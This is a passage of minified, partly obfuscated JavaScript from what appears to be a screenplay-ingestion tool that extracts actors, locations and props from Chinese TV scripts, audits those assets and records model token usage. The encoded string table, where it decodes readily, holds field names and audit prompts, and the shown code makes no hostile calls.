JI(o,r)}async function KI(e){let t=Je(e.script);if(!e.force&&e.exists())try{let o=e.read();if(BI(o,t))return e.executor.recordReuse("ingest.asset-audit"),{report:o,reused:!0}}catch{}let n=await al(e.script,e.executor,e.signal);return e.write(n),{report:n,reused:!1}}async function wh(e,t,n,o={}){return KI({script:t,executor:n,read:()=>e.readJson("asset-audit.json"),write:i=>e.writeJson("asset-audit.json",i),exists:()=>e.has("asset-audit.json"),...o.force?{force:!0}:{},...o.signal?{signal:o.signal}:{}})}var jI={duplicate_actor:"duplicate actor",duplicate_location:"duplicate location",duplicate_prop:"duplicate prop",duplicate_state:"duplicate state",suspicious_singleton_state:"suspicious singleton state",unused_state:"unused state",needs_human_review:"asset needs human review"};function cl(e){let t=[...e.asset_ids,...e.state_ids].join(", ")||"<unknown>",n=e.evidence||e.recommendation||"review the referenced assets";return`${jI[e.type]} [${t}]: ${n}`}function _h(e){return e.issues.map(t=>({code:`asset_audit_${t.type}`,path:"$",message:`${cl(t)}; action=${t.action}; confidence=${t.confidence}`}))}var pr=class{constructor(t,n=()=>Date.now()){this.flush=t;this.now=n;this.t={startedMs:this.now(),endedMs:null,phases:[],serial:null},this.flush(this.t)}flush;now;t;phaseStart(t){this.t.phases.push({name:t,startedMs:this.now(),endedMs:null}),this.flush(this.t)}phaseEnd(t){for(let n=this.t.phases.length-1;n>=0;n--){let o=this.t.phases[n];if(o.name===t&&o.endedMs===null){o.endedMs=this.now(),this.flush(this.t);return}}}serialStart(t,n){this.t.serial={totalWindows:t,totalEpisodes:n,windows:[]},this.flush(this.t)}windowDone(t,n,o,i){this.t.serial||(this.t.serial={totalWindows:0,totalEpisodes:0,windows:[]}),this.t.serial.windows.push({start:t,end:n,ms:o,cached:i}),this.flush(this.t)}finish(){this.t.endedMs=this.now(),this.flush(this.t)}};function Eh(e,t){let n=(e.endedMs??t)-e.startedMs,o=e.phases.map(r=>({name:r.name,ms:(r.endedMs??t)-r.startedMs,running:r.endedMs===null})),i=null;if(e.serial){let r=e.serial.windows,s=r.filter(p=>!p.cached),c=s.length?s.reduce((p,l)=>p+l.ms,0)/s.length:null,a=r.reduce((p,l)=>p+(l.end-l.start+1),0),d=Math.max(0,e.serial.totalWindows-r.length);i={doneWindows:r.length,totalWindows:e.serial.totalWindows,doneEpisodes:a,totalEpisodes:e.serial.totalEpisodes,avgWindowMs:c!=null?Math.round(c):null,etaMs:c!=null?Math.round(c*d):null}}return{elapsedMs:n,done:e.endedMs!==null,phases:o,serial:i}}import*as Sh from"node:crypto";function pl(){return{calls:0,succeeded:0,failed:0,reused:0,attempts:0,durationMs:0,inputTokens:0,outputTokens:0,cachedInputTokens:0,cacheCreationTokens:0,totalTokens:0}}function zI(e,t){if(t.status==="reused"){e.reused+=1;return}e.calls+=1,t.status==="succeeded"?e.succeeded+=1:e.failed+=1,e.attempts+=t.attempts,e.durationMs+=t.durationMs,e.inputTokens+=t.inputTokens,e.outputTokens+=t.outputTokens,e.cachedInputTokens+=t.cachedInputTokens,e.cacheCreationTokens+=t.cacheCreationTokens,e.totalTokens=e.inputTokens+e.outputTokens}function $a(e){let t=pl();for(let n of e)zI(t,n);return t}var ls=e=>`${e.provider}\0${e.protocol}\0${e.model}`;function Ih(e){let t=new Map;for(let n of e){let o=ls(n),i=t.get(o)??{identity:{provider:n.provider,protocol:n.protocol,model:n.model},profiles:new Set,fingerprints:new Set,records:[]};i.profiles.add(n.profile),i.fingerprints.add(n.fingerprint),i.records.push(n),t.set(o,i)}return[...t.values()].map(n=>({...n.identity,profiles:[...n.profiles].sort(),fingerprints:[...n.fingerprints].sort(),totals:$a(n.records)})).sort((n,o)=>ls(n).localeCompare(ls(o)))}function dl(e){let t=new Map;for(let n of e){let o=t.get(n.task)??[];o.push(n),t.set(n.task,o)}return[...t.entries()].map(([n,o])=>({task:n,totals:$a(o),byModel:Ih(o)})).sort((n,o)=>n.task.localeCompare(o.task))}function xh(e){return Ih(e).map(t=>{let n=e.filter(o=>ls(o)===ls(t));return{...t,byTask:dl(n).map(({task:o,totals:i})=>({task:o,totals:i}))}})}function HI(e){let t=e.updatedAt,n=new Map;for(let c of e.episodes)n.set(c.episode,c.runs);let o=new Map,i=new Map;for(let[c,a]of n){o.set(c,[]);for(let d of a)for(let p of d.recordIds){let l=i.get(p)??new Set;l.add(c),i.set(p,l)}}for(let c of e.records)for(let a of i.get(c.id)??[])o.get(a).push(c);let r=[...n.entries()].map(([c,a])=>{let d=o.get(c);return{episode:c,totals:$a(d),byTask:dl(d),byModel:xh(d),durationMs:a.reduce((p,l)=>p+l.durationMs,0),runs:a}}).sort((c,a)=>c.episode-a.episode),s=$a(e.records);return{...e,updatedAt:t,totals:s,byTask:dl(e.records),byModel:xh(e.records),episodes:r,timing:{totalDurationMs:e.runs.reduce((c,a)=>c+a.durationMs,0),modelDurationMs:s.durationMs,episodeDurationMs:r.reduce((c,a)=>c+a.durationMs,0)}}}function QI(e){return{version:2,createdAt:e,updatedAt:e,totals:pl(),byTask:[],byModel:[],episodes:[],runs:[],records:[],timing:{totalDurationMs:0,modelDurationMs:0,episodeDurationMs:0}}}function ps(e){return new Date(e).toISOString()}var Go=class{constructor(t,n,o=()=>Date.now()){this.store=t;this.executor=n;this.now=o;this.startedAtMs=this.now(),this.cursor=n.usageEvents().length;let i=ps(this.startedAtMs);if(this.report=t.has("usage.json")?t.readJson("usage.json"):QI(i),this.report.version!==2)throw new Error("workspace/usage.json uses an incompatible schema; rerun ingest with --force to rebuild the workspace.");for(let r of this.report.runs)r.status==="running"&&(r.status="interrupted",r.endedAt=this.report.updatedAt,r.durationMs=Math.max(0,Date.parse(this.report.updatedAt)-Date.parse(r.startedAt)));this.report.runs.push({id:this.runId,status:"running",startedAt:i,endedAt:null,durationMs:0}),this.write(this.startedAtMs)}store;executor;now;runId=Sh.randomUUID();startedAtMs;cursor;report;flush(t){this.write(this.append(t))}recordReusedEpisodes(t,n){if(n.length!==0){for(let o of n){this.executor.recordReuse(t);let i=this.now();this.append({scope:{kind:"episode",episode:o},status:"reused",startedAtMs:i,endedAtMs:i})}this.write(this.now())}}append(t){let n=t.endedAtMs??this.now(),o=t.startedAtMs??n,i=this.executor.usageEvents(),s=i.slice(this.cursor).map(c=>this.toRecord(c,t.scope));if(this.cursor=i.length,this.report.records.push(...s),t.scope.kind==="episode"){let c=t.scope.episode,a=this.report.episodes.find(p=>p.episode===c),d=a?.runs??[];d.push({runId:this.runId,status:t.status??"succeeded",startedAt:ps(o),endedAt:ps(n),durationMs:Math.max(0,n-o),stages:t.stages??{},recordIds:s.map(p=>p.id)}),a||this.report.episodes.push({episode:c,totals:pl(),byTask:[],byModel:[],durationMs:0,runs:d})}return n}finish(t){let n=this.now();this.executor.usageEvents().length>this.cursor&&this.flush({scope:{kind:"run"},status:t==="succeeded"?"succeeded":"failed",endedAtMs:n});let o=this.report.runs.find(i=>i.id===this.runId);o&&(o.status=t,o.endedAt=ps(n),o.durationMs=Math.max(0,n-this.startedAtMs)),this.write(n)}toRecord(t,n){return{...t,id:`${this.runId}:${t.sequence}`,runId:this.runId,scope:n}}write(t){let n=this.report.runs.find(o=>o.id===this.runId);n?.status==="running"&&(n.durationMs=Math.max(0,t-this.startedAtMs)),this.report.updatedAt=ps(t),this.report=HI(this.report),this.store.writeJson("usage.json",this.report)}};var ul="12",Da=e=>String(e).padStart(3,"0"),Ah=e=>e.map(t=>JSON.stringify(t)).join(`
258
+ ${l}`:l,y=Date.now(),m=t.force?void 0:t.checkpoint?.readUpdate(d,p),g,w=!1;if(m!==void 0){let _=eh(m);try{if(_==null)throw new Ve("checkpoint top-level JSON is unparseable");g=as(_),w=!0,i++,t.executor.recordReuse("ingest.episode-assets")}catch(x){if(!(x instanceof Ve))throw x;let E=await th(t.executor,d,p,u,f,t.signal);g=E.delta,t.checkpoint?.writeStep(d,p,l,E.raw)}}else{let _=await th(t.executor,d,p,u,f,t.signal);g=_.delta,t.checkpoint?.writeStep(d,p,l,_.raw)}rs(n,g,d,p);let h=AI(o.slice(d-1,p),n);if(h.length){let _=t.force?void 0:t.checkpoint?.readNameFix?.(d,p);if(_!==void 0){let x=eh(_);try{if(x==null)throw new Ve("name-fix checkpoint top-level JSON is unparseable");let E=tl(x,h);ah(n,E),rs(n,E,d,p),i++,t.executor.recordReuse("ingest.name-fix")}catch(E){if(!(E instanceof Ve))throw E;let A=await nh(t.executor,d,p,Ma(n,p),h,n,t.signal);t.checkpoint?.writeNameFix?.(d,p,A.raw),rs(n,A.delta,d,p)}}else{let x=await nh(t.executor,d,p,Ma(n,p),h,n,t.signal);t.checkpoint?.writeNameFix?.(d,p,x.raw),rs(n,x.delta,d,p)}}Pg(n);for(let _=Kp(n);_;_=Kp(n)){let x=_[0].startEp,E=_[_.length-1].endEp,A=t.force?void 0:t.checkpoint?.readArc?.(x,E),k;if(A!==void 0)k=A,i++,t.executor.recordReuse("ingest.arc-summary");else{let N=_.map(M=>`${Gp(M)}\uFF1A${M.line}`).join(`
259
+ `);k=await Jg(t.executor,`\u7B2C${x}\u96C6\u2013\u7B2C${E}\u96C6`,N,t.signal),t.checkpoint?.writeArc?.(x,E,k)}Cg(n,k)}t.onWindow?.({startEp:d,endEp:p,ms:Date.now()-y,cached:w,index:a,total:s.length,totalEpisodes:o.length})}return{...OI(e,n),episodes:o.length,reused:i}}function AI(e,t){let n=new Set,o=i=>{if(!i)return;let r=Vo(t,i);dt(r)||zt(t,r)||n.add(r)};for(let i of e)for(let r of i.scenes){o(r.location?.name);for(let s of r.actors)o(s.name);for(let s of r.actions)s.speaker&&"name"in s.speaker&&o(s.speaker.name)}return[...n]}var kI={interior:"\u5185",exterior:"\u5916"},bI={day:"\u65E5",night:"\u591C"};function vI(e){let t=[`# ${e.episode_id}${e.title?` ${e.title}`:""}`];for(let n of e.scenes){t.push(`## ${n.scene_id}`);let o=[kI[n.environment?.space??""],bI[n.environment?.time??""]].filter(Boolean).join(" ");o&&t.push(`\u65F6\u7A7A\uFF1A${o}`),n.location?.name&&t.push(`\u5730\u70B9\uFF1A${n.location.name}`),n.actors.length&&t.push(`\u5728\u573A\uFF1A${n.actors.map(i=>i.state?`${i.name}\u3010${i.state}\u3011`:i.name).join("\u3001")}`),n.props.length&&t.push(`\u9053\u5177\uFF1A${n.props.map(i=>i.state?`${i.name}\u3010${i.state}\u3011`:i.name).join("\u3001")}`);for(let i of n.actions){let r=i.speaker?"name"in i.speaker?i.speaker.name:`[${i.speaker.kind}]`:"",s=i.emotion?`\uFF08${i.emotion}\uFF09`:"";i.type==="dialogue"?t.push(`${r}${s}\uFF1A${i.content}`):i.type==="inner_thought"?t.push(`${r}\uFF08\u5FC3\uFF09${s}\uFF1A${i.content}`):i.type==="transition"?t.push(`\u3010\u8F6C\u573A\u3011${i.content}`):t.push(i.content)}}return t.join(`
260
+ `)}function OI(e,t){let n=JSON.parse(JSON.stringify(e)),o=new Map;for(let c of n.episodes)for(let a of c.scenes){let d=g=>!!zt(t,g),p=a.location?Vo(t,a.location.name):null,l=oh(a.actors.map(g=>Vo(t,g.name)).filter(g=>!dt(g)&&d(g))),f=oh(a.props.map(g=>Vo(t,g.name)).filter(d)),u=[];for(let g of a.actions)if(g.speaker&&"name"in g.speaker){let w=Vo(t,g.speaker.name);dt(w)?g.speaker={kind:"group",label:w}:(g.speaker.name=w,d(w)&&u.push(w))}for(let g of u)l.some(w=>xi(w)===xi(g))||l.push(g);let y=new Map;for(let g of t.lookChanges[a.scene_id]??[]){let w=Vo(t,g.entity),h=y.get(w)??[];h.includes(g.look)||h.push(g.look),y.set(w,h),o.set(w,g.look)}let m=g=>y.get(g)?.map(w=>({name:g,state:w}))??[ih(t,g,o)];a.location=p&&d(p)?ih(t,p,o):null,a.actors=l.flatMap(m),a.props=f.flatMap(m)}let i=Ra(n),r=i.script;LI(r,t),NI(r);let s=Pa(r);return MI(s),UI(s),{doc:s,identityKeys:i.identityKeys}}var RI="\u5E38\u6001";function oh(e){let t=new Set;return e.filter(n=>{let o=xi(n);return!n||t.has(o)?!1:(t.add(o),!0)})}function ih(e,t,n){let o=zt(e,t),i=n.get(t)??(o?Jp(o):void 0)??RI;return{name:t,state:i}}function MI(e){for(let t of["actors","locations","props"])for(let n of At(e[t])?e[t]:[])if(It(n))for(let o of At(n.states)?n.states:[])It(o)&&o.state_id==="default"&&o.state_name==="default"&&(o.state_name="\u5E38\u6001")}function LI(e,t){for(let[n,o]of[["actors","actor_name"],["locations","location_name"],["props","prop_name"]])for(let i of At(e[n])?e[n]:[]){if(!It(i))continue;let r=zt(t,String(i[o])),s=At(i.states)?i.states:[];if(r){r.description&&(i.description=r.description),r.aliases.length&&(i.aliases=[...new Set([...At(i.aliases)?i.aliases:[],...r.aliases])]);let c=Jp(r),a=c?r.looks.find(d=>xi(d.name)===xi(c))?.description??"":"";for(let d of s){if(!It(d))continue;if(d.state_id==="default"){a&&(d.description=a);continue}let p=r.looks.find(l=>xi(l.name)===xi(String(d.state_name)));p?.description&&(d.description=p.description)}}}}function NI(e){let t=new Map,n=new Map,o=new Map,i=0,r=c=>{typeof c=="string"&&(t.has(c)||t.set(c,i),n.set(c,i),o.set(c,(o.get(c)??0)+1))};for(let c of At(e.episodes)?e.episodes:[])if(!(!It(c)||!At(c.scenes)))for(let a of c.scenes){if(!It(a))continue;let p=[...At(a.actors)?a.actors:[],...At(a.props)?a.props:[],...It(a.location)?[a.location]:[]].filter(It).map(l=>l.actor_id??l.prop_id??l.location_id);for(let l of p)r(l);for(let l of At(a.actions)?a.actions:[])It(l)&&It(l.speaker)&&typeof l.speaker.actor_id=="string"&&r(l.speaker.actor_id),i++}let s=c=>(o.get(c)??0)>=2&&n.get(c)-t.get(c)>=SI;for(let[c,a]of[["actors","actor_id"],["props","prop_id"]])for(let d of At(e[c])?e[c]:[])It(d)&&(d.importance=s(String(d[a]))?"featured":"background");for(let c of At(e.locations)?e.locations:[])It(c)&&(c.importance="featured")}function UI(e){let t=n=>typeof n=="string"?n.trim():"";for(let[n,o]of[["actors","actor_name"],["locations","location_name"],["props","prop_name"]])for(let i of At(e[n])?e[n]:[]){if(!It(i))continue;let r=String(i[o]??""),s=At(i.states)?i.states:[];if(!t(i.description))throw new S(`Ingested asset "${r}" is missing its identity description.`,{exitCode:b,errorCode:"ASSET_DESCRIPTION_MISSING",hint:"Rerun `scriptctl ingest --force` so the serial asset window can regenerate this entity."});for(let c of s){if(!It(c)||t(c.description))continue;let a=String(c.state_name??"");throw new S(`Ingested asset "${r}" has no visual description for look "${a}".`,{exitCode:b,errorCode:c.state_id==="default"?"DEFAULT_LOOK_DESCRIPTION_MISSING":"LOOK_DESCRIPTION_MISSING",hint:"Rerun `scriptctl ingest --force` so the serial asset window can regenerate this look."})}}}var Mn=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),oo=e=>Array.isArray(e)?e:[],Xe=e=>typeof e=="string"?e.trim():"";function nl(e){return e.normalize("NFKC").toLowerCase().replace(/[\p{White_Space}\p{P}\p{S}]+/gu,"")}var PI={actor:{list:"actors",id:"actor_id",name:"actor_name"},location:{list:"locations",id:"location_id",name:"location_name"},prop:{list:"props",id:"prop_id",name:"prop_name"}},dh=(e,t,n=8)=>{!t||e.includes(t)||e.length>=n||e.push(t)};function ph(e){let t=Mn(e)?e:{},n={actor:[],location:[],prop:[]},o=new Map;for(let c of["actor","location","prop"]){let a=PI[c];for(let d of oo(t[a.list])){if(!Mn(d))continue;let p=Xe(d[a.id]),l=Xe(d[a.name]);if(!p)continue;let f=[...new Set(oo(d.aliases).map(Xe).filter(Boolean))],u=new Map,y=[];for(let g of oo(d.states)){if(!Mn(g))continue;let w=Xe(g.state_id);if(!w)continue;let h=Xe(g.state_name),_={address:`${p}/${w}`,state_id:w,state_name:h,description:Xe(g.description),format_key:nl(h),reference_count:0,episode_count:0,scene_count:0,references:[],frequency_flag:null,episodeIds:new Set,sceneIds:new Set};y.push(_),u.set(w,_)}let m={kind:c,id:p,name:l,aliases:f,description:Xe(d.description),importance:Xe(d.importance),format_key:nl(l),alias_format_keys:f.map(nl),reference_count:0,episode_count:0,scene_count:0,references:[],states:y,episodeIds:new Set,sceneIds:new Set,stateById:u};n[c].push(m),o.set(p,m)}}let i=c=>{let a=oo(c.state_ids).map(Xe).filter(Boolean);if(a.length>0)return[...new Set(a)];let d=Xe(c.state_id);return d?[d]:[]},r=(c,a,d,p,l,f)=>{let u=o.get(a);if(!u||u.kind!==c)return;u.reference_count+=1,u.episodeIds.add(p),u.sceneIds.add(`${p}/${l}`),dh(u.references,f);let y=d.length>0?d:u.stateById.has("default")?["default"]:[];for(let m of y){let g=u.stateById.get(m);g&&(g.reference_count+=1,g.episodeIds.add(p),g.sceneIds.add(`${p}/${l}`),dh(g.references,f))}};for(let c of oo(t.episodes)){if(!Mn(c))continue;let a=Xe(c.episode_id)||"<episode>";for(let d of oo(c.scenes)){if(!Mn(d))continue;let p=Xe(d.scene_id)||"<scene>",l=`${a}/${p}`;Mn(d.location)&&r("location",Xe(d.location.location_id),i(d.location),a,p,`${l}.location`);for(let f of oo(d.actors))Mn(f)&&r("actor",Xe(f.actor_id),i(f),a,p,`${l}.actors`);for(let f of oo(d.props))Mn(f)&&r("prop",Xe(f.prop_id),i(f),a,p,`${l}.props`);oo(d.actions).forEach((f,u)=>{if(!Mn(f)||!Mn(f.speaker))return;let y=Xe(f.speaker.actor_id);y&&r("actor",y,i(f.speaker),a,p,`${l}#${u+1}.speaker`)})}}let s=c=>{c.episode_count=c.episodeIds.size,c.scene_count=c.sceneIds.size;for(let a of c.states)a.episode_count=a.episodeIds.size,a.scene_count=a.sceneIds.size,a.frequency_flag=a.state_id==="default"?null:a.scene_count===0?"unused":a.scene_count===1?"singleton":null;return{kind:c.kind,id:c.id,name:c.name,aliases:c.aliases,description:c.description,importance:c.importance,format_key:c.format_key,alias_format_keys:c.alias_format_keys,reference_count:c.reference_count,episode_count:c.episode_count,scene_count:c.scene_count,references:c.references,states:c.states.map(a=>({address:a.address,state_id:a.state_id,state_name:a.state_name,description:a.description,format_key:a.format_key,reference_count:a.reference_count,episode_count:a.episode_count,scene_count:a.scene_count,references:a.references,frequency_flag:a.frequency_flag}))}};return{title:Xe(t.title),actors:n.actor.map(s),locations:n.location.map(s),props:n.prop.map(s)}}var D=un,uh=["id",D(38),D(13),D(90),D(40),D(34),D(6),D(82),D(35),D(62)];function rl(){let e=["yxnZzxrFAwrZ","DgL0Bgv8","5l6l5AAc44co5P6x5PYj57kU44cp5zkm44co5P6xioACIEEYRUoaJ+wpQUAyR+AGVow8J+s4JEwqJo+8Jos9HUs4JEIdVEwpQUAmIEwqJEENSoEBUos8Vow6PUwqIow5TUoaGUw/HEMHU+E7VowqIos6UUEjQEwfS+EZU+oaGEwjP+AdHEI6Q+s7VEoaGEwKLUIYJoApJ+I/SooaGEIHJos4UUI9QoI/UEoaGEwVUEEzVEw9KUwXNUoaGEwhUUEoSos9JEE9RUwsJoI3QoMBHUI/NUE7REAaP+wiPoAwREoaGUwNK+wqJEEBUos8VooaGEI6Q+s7VEEBUoI/KEAiLUE7J+w4UowqJoAHHUEAHos4JEwqJos6UUEjQEE7NEs4JEIdVEIVR+wqIooaGG","zxbPC29Kzv9JB3vUDa","CMvMzxjLBMnLCW","ywrKCMvZCW","C2nLBMvZ","5lQu44cb5A6H6k6H6l6555wm5lIo6l6t5yE6","6lcd55sOigvTAxrFyxnZzxrFyxvKAxqG5BEL5yw36l+u5zUE5A6H6k6H57Ut5P6C44cc","5Q+p5lIQ6zEU6Aky5B+f6Ag757Uz5yE65yw35l2t6k+b5O2U5zkm5Pon5l2C5BU66k6U44cc6AUy572U5l+H5BQM5lUn5y+Q5PIV5BU66k6U77YB5A2y5zYO5yAY56Qb5OIw5PEG5Rov56gU6k6K5PE2igfJDgLVBJ1YzxzPzxFJGifJB25MAwrLBMnLpwXVDYdMIjyGBwvKAxvT44cc","zhvWBgLJyxrLx3bYB3a","zNjLCxvLBMn5","z2vUzxjHDgvuB29S","ywXPyxnLCW","qsdOOyZOOAJNPlRKUidPOBNOTytKUQFJGilLJRVMJONLVidLPltNMOqGqsdLKi7VViZLKitLIjFKU47LT6BLIldLJ7pLM7RLRPRKUlRVVjO","zNjLCxvLBMn5x2zSywC","zxzPzgvUy2u","C3rHDgvZ","BgvUz3rO","CMvMzxjLBMnLx2nVDw50","6l6t5ywL5PIV5A6m5Pw06lwe5lQN55M76k6W55Qe57sN5yEr6kgm5BYp5B+R54wN77Ym5lIn5PIViePtt07JGilNRkZKUidOOyWGqvntrvrFqvvesvrFu05bufnit1rFvJeG5PIV5y2p6k6U54Mi5PYS77YBDgL0Bgv8powjP+wqJt4G5PIV5yMN5zcn77YBqv9dt0Xvtu5tl1nFq09mvu1ouYdMMk/LIjFLRPRKUyNVViZKUi3MMk/OTytKUQFMLBdMJA7VVjTBywn0B3jZoK5D44cbw2XVy2f0Aw9UCZPoxEoaGvTWCM9WCZPoxsdLIiBLIkVLVidLP4VKURRNIANJGihLNldNGRNJGihPGzpLHBFLIiBLJlRVViXoioAyR+IVPEwiHUwmUUI1Hos6P+AvSow5TUwgS+wUMUwfTUs4RsbbioIHJoEAHoI1Hos6P+EXU+wEI+oaGG","CMv2Awv3","5Qoa5P+L5zcm5lIa5lIQ54MP55cg5zYW54k55OIw5zcm5lIa5lU25yw35l2t6ygt5yw35PIV5zcM5zUG5zcn56EW44cb5yMn5zco57Ya44cb5B2s5BgE5O+p6l+W44cb566a56EW44cb566a57Mb5l2t44cb6l2S5B2v5BEU5BYc5OIw6kEc5A+F6kEs5BQM5lIn5zcm6icm6yEn5Asn55M76k6W44cc5yY65yIg5zcm5lIa5zYW54k555Qe5lIn5zcm5zcn56EW5lIo5zcm5lIa5BU6562r5lIT55Qe5lIn5zcm54US56Ul56M66zE077Ym5lMF5yY65yIg5zcm5lIa5lU25yw35l2t6ygt5yw35lIo5zcm57g75l2g5A6E6zMf5lIn5zcm55Qe5AsA5lU26ygt5yw344cc","yxnZzxqGyxvKAxqGCMvZCg9UC2uGBxvZDcbIzsbHiePtt04GB2jQzwn0","CMvJB21Tzw5KyxrPB24","AgLNAa","zw1PDf9HC3nLDf9HDwrPDa","Bg93","ywn0Aw9U","C3rHDgvFAwrZ","zMLSDgvY","qvntrvrFqvvesvrFu05bufnit1rFvJe","zM9YBwf0x2TLEsdLJ6RMIPJLJ6dNQBRNMB3JGihMOiFNGRNJGihLPkFLSi/LHPNJGihLHAJLJyROP5lNRyNMOlZLVi/LT67LVilVViZMMk/LJ6ZLM57OR4hMJA7OGiZKUi3MMk/LKiZKUidLRP7KVzpNMOtMNidNU4JNU5pORRRJGii","AxnbCNjHEq","zxbPC29Kzxm","zgvZy3jPChrPB24","CMvWBgfJzq","BwvKAxvT","BMfTzq","u19dt0Xvtu5tFa","CMvMCW","5l2G5Q2J5zYO5A+55lIa6yoO5BEY57Up5A6m5OIq6kEJ5P6q55Qe5A6m5Pw05yMN5PYS6l+B6kgm5ywO5Bga6lwe5lQN5lIa6iE05OcN5A6H6k6H44cc55UU5Qch5PIV5y+r546W5zcm5lIa5A6E5l2t6kkR6yEn5Asn5BU65QgJ44cb5zcm5lIa56IZ5A6A6kEg6kEj54Q25Ocb6kkR6yEn5Asn5OUg5yIg77Ym5lUL5y+k6zI25Q615Asw6lkm6kkR6zsz6k+V5zci5BM244cb57Ui5Ocb5Asw6lkm5RgH5P+t5ywO5Bga6lQR5lU95zkm5l2o6Akr5BYc5BI454Q25Ocb44cc","DgL0Bgu","5RkH5PYj6zEU6Aky5PE2igLZC3vLCYdKVkdNQBRMLBdNU4tJGii","AgfZ","AM9PBG","qv9dt0Xvtu5tFa","ywn0B3jZ","B2jQzwn0","C3rHDgvFBMfTzq","DhLWzq","C3vNz2vZDgvKx3n1CNzPDM9Y","5y+Q5BYv55sO6l6t5ywL5lIT55YF5A6E5A2y5zYO55QeigfZC2v0l3n0yxrLigLK77YB5y+Q6l6t5yE656gU5A6E5y+V55Ar44cb6zYa6kAb5zci5BM2l+wiOoMzPc/KURRLT6xNOA7ORQtNMOtPOBNNM67VViZNOA7ORQtLKiJNKiBNMOtOTytKUQFMIjBKVy7POPhNIRBMGihKUi3OPOhOVPpLH7RJGilKUi3OPOhNM7tMJQxKV67MLlNLIAFMNkZJGii","5yIK5PAT5Qch5yEg5lIn5PIV5zcn56EW5PIV5zcM5lIa6iE077Ym6icm5PIV5PIV5zcM55YF55Qe6zYa6kAb5yIg5yIR5yI25l2C54US56Ul44cb5y+V5Asn55sO55Qe6kEg6kEj5y+c6icd6lwe5lQN44cc6kEg6kEj5lI75l2t5zkm5OYb57UT5Asw6kEc5lIa6iE05PE25BU66k6U5B2s5BM277YB5PIo56gU5O2I6kof44cb56wB55Ey44cb5yEp6yEn44cb6kgW6icb44cb5y+y6lQR44cb5O2F5Q+b44cb5OYb57UT5lYK5yQ/5OIw5yw25lUw5OYb57UT5OcN5y+y5yYw5yIz5l+D5OYb54US56Ul44cc5zcm5Awx6kgJ5PYn5lIn6k+b5PIo5zcm5lIa54Q25Ocb77YB5Qoa5P+L5ywO5BgaigrLC2nYAxb0Aw9UioAyR+wqPUAkIUwqJUACN+AxOoErLEoaGEE6PoEyPUETIEMyTUAUTEEjUEw+GEAoQow5V+wfQowjP++8JoAiLUs4Gos4QIbZDgf0zsdLKiZML7BMIB/OVB3LHRlNQOhPMlBMRRxJGilOV5NNSBVPL67POPJKVB/NLkGGBMvLzhnFAhvTyw5FCMv2Awv344cbywn0Aw9UpxjLDMLLD++8JowgMEAyJUwgSUEQGEApJ+I/Sos4JUw3SUACIEw8LEEuQowCSowDGooaGUw/Q+EfP+AYOEACIEwoN+EjH+wsJowUJoAvToATO+AwH++8Jos4JEIdVEIhHUwUMUwpMoI6Q+AxTUEcUEAiLUwhREwjP+wqJEEBToAoPEAlHUwiHUoaGG","ChjVChm","zhvWBgLJyxrLx2XVy2f0Aw9U","6yEn54k55Qoa5P+L6z2EigrLzMf1BhqG5lIu5PYQ6kkR5BYv55sO44cb5y+Q5zYO5lIa5lIQ5zY65PMV5yE6546W44cb5yE6546W5zco56Ul5y2Z5OgI5Asn5y6F54Q25Ocb44cb5lIo5yMn5zco54Q25Ocb5yEG5lMo55U45zcm5OIw5A6E6zMf5BgE5lQo5Oof57UQl+wNV+wkVY/LIQJKVzWV5ywj57Q/l+EERoAxTUI/H+EOI+EAHoEkTUAaGEoaGUs9JUMIKEs4JEETIEs6JUMuMEIVR++8MUAyJUEHRUwVUEw6LowfS+MuRUAnOUIJHEoaGEwjP+AdHEs6I+s7TUoaGEAmGEE7REs8PowkV+oaGEwpMoI6Q+AiLUw/HEIMGEINHUINIEwpMowmLUAxTUw6Los/NEEvME+8Jos4JEIMGEI+K+whUUs4UUMxRUMIMooaGUIVGEAnRUs4JEI2S+AxTIbHy3rPB249CMv2Awv344cc","C3vZCgLJAw91C19ZAw5NBgv0B25FC3rHDgu","6kEJ5P6q6kEe5yIz77YA5y+Q5zYO5PYQ6l2S5lMj55QeihWG5Ase5yIg5yIx77Ym5y+Q5zYO5PYQ6l2S5lMj55QeidSG5Ase5yIg6zQuigfSAwfZzxmVzxzPzgvUy2vFCMvMCYdLIjFOOAJVVjSTioIHQoEKUUEPUUwaVoAiLUAxOoMIKEEoH+AGH+IUSo+8M1X844cbxdVJGifCBUoaGvXCiowiHUwiQ+IHQoEKUUwTL+AUTEwgHEwUUEs4REEAHoERLUE6V+oaGEwiHUwpT+oaGEAnOUIHJowsJowpJEAwNoADOooaGUs4JEIMGEAkIIbbx0nptfvntLmVu19dt0Xvtu5tiow9K+s9NowUNUs9K++8Jos5N+s4JEIMGEAkIIbtioIHJoI3QoI1Hos6P+w9KUwXNUoaGG","zMXHDe1HCa","5zUB44cb5zYW54k55lIo6ygt5yw35lIa6iE05OcN","44ccAwqG5PIV6lwe5lQNieLe77YBBMfTzsdMMk/OP4tOJipLKi3VVjTHBgLHC2vZioAyR+wiQ+wqJEwiL+IHQo+8M2LTCg9YDgfUy2uG5PIV6yEn6kAb5BQM77YBCMvMCY9LCgLZB2rLCY9Zy2vUzxmG5PIV5BYv55sO5QYH5PwW44cb6kAg55Uw6zUg5PwW44cb6kAg55Uw5zY65PwW77YBzM9YBwf0x2TLEsdMMk/KU4xMTOJPMAtMOlZLVi/LMARLO7dNMOtLKi3NP7dPLk7VVjTKzxnJCMLWDgLVBIdMMk/OTytKUQFMJ4/OV7dVVjTLDMLKzw5Jzv9YzwzZioAyR+wWKEMhJ+wUNUMzHEw8LEEuQos9JEE9RUoaGG","zxzPzgvUy2vFCMvMCW","C3rYAw5N","C2nLBMvFy291BNq","BMvLzhnFAhvTyw5FCMv2Awv3","Aw5Nzxn0lMfZC2v0lwf1zgL0","C3rHDgvFAwrZiow/HEMHU+wHQ+wgMEI+K+wfPEMhJoEAHowUJoAvToEkTUAaGsbHzgrYzxnZ77YipgfZC2v0x2LKpI88C3rHDgvFAwq+77Yj77Ym5lIn6io95y+Q5yAz5y+V6io95zYO5AsA5lIQ6lwe5lQN5lIl6yEn5Asn55Qe5Bga6yoOihn0yxrLx2LK44cc","ihWG","BwfW","Dw51C2vKx3n0yxrL","ChvZAa","Aw5WDxq","AxnZDwvZ","6l+z6yEm5Qoa5P+L5zkm5BU66k6U5zci5BM255Qe5PIV6yEn5AsnigXVy2f0Aw9UioI1Hos6P++8Jos4JEAyRYbZy2vUzEoaGUEBUowqJowCSoEcUEwpR+s7PEAjV+I9VEwKMUs4QUs4JEwqJowjP+AdHEwCUUASOE+8Jos4JEIdVEwBOos4UUwCSoEcUEEBUowqJowWSEwqIow5TIbZy2vUzEoaGG","5lIa44cb5lQ654MP6lQR5lU95lIa6